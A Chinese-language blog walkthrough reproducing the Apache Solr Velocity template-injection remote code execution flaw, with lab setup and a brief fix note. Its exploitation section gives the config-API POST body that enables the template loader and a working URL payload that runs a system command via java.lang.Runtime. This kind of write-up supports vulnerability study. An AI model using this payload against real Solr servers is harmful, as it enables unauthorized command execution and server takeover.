Apache Solr velocity模板注入RCE漏洞的示例分析

0x01簡介

Solr是一款企業級的獨立搜索應用服務器,可以通過Web服務API接口向外提供服務。用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,并得到XML格式的返回結果。Apache Solr velocity模板注入RCE漏洞的示例分析

0x02漏洞介紹

Solr中存在VelocityResponseWriter組件,攻擊者可以構造特定請求修改相關配置,使VelocityResponseWriter組件允許加載指定模板,進而導致Velocity模版注入遠程命令執行漏洞,攻擊者利用該漏洞可以直接獲取到服務器權限。

0x03影響范圍

Apache Solr 5.x – 8.2.0,存在config API版本

0x04環境搭建

安裝java8環境,然后下載Solr,下載地址:

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

下載完成后解壓然后進入bin目錄執行./solr start

unzip solr-8.2.0.zip

?Apache Solr velocity模板注入RCE漏洞的示例分析

啟動會出現一些警告信息,我們可以通過修改bin下的solr.in.sh文件來進行消除,將SOLR_ULIMIT_CHECKS設置為false

vim solr.in.sh

?Apache Solr velocity模板注入RCE漏洞的示例分析

然后再次進行啟動 ./solr start??root啟動失敗的話在后面加上加上-force即可Apache Solr velocity模板注入RCE漏洞的示例分析

在瀏覽器訪問http://ip:8983,出現以下界面表示安裝成功Apache Solr velocity模板注入RCE漏洞的示例分析

但是發現不能創建coreApache Solr velocity模板注入RCE漏洞的示例分析

我們先手動在/server/solr/目錄下創建一個new_core的文件夾,然后將/server/solr/configsets/_default/下的conf目錄拷貝到new_core目錄下,之后再點創建Apache Solr velocity模板注入RCE漏洞的示例分析

0x05漏洞復現

創建好Core后訪問查看該應用config文件是否可以訪問

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr默認集成VelocityResponseWriter插件,該插件初始化參數中的params.resource.loader.enabled默認值設置為false,但是可以通過POST請求直接修改整合設置,將其設置為true,然后就可以構造特殊的GET請求來實現遠程代碼執行。

使用Burp抓取本頁面的包,直接構造POST請求,加入以下數據

{

??“update-queryresponsewriter”: {

????“startup”: “lazy”,

????“name”: “velocity”,

????“class”: “solr.VelocityResponseWriter”,

????“template.base.dir”: “”,

????“solr.resource.loader.enabled”: “true”,

????“params.resource.loader.enabled”: “true”

??}

}

?Apache Solr velocity模板注入RCE漏洞的示例分析

接下來我們就可以構造payload來實現RCE

payload:

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

?Apache Solr velocity模板注入RCE漏洞的示例分析

?POC地址:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06修復方式

更新到最新版本

? 版權聲明
THE END
喜歡就支持一下吧
點贊10 分享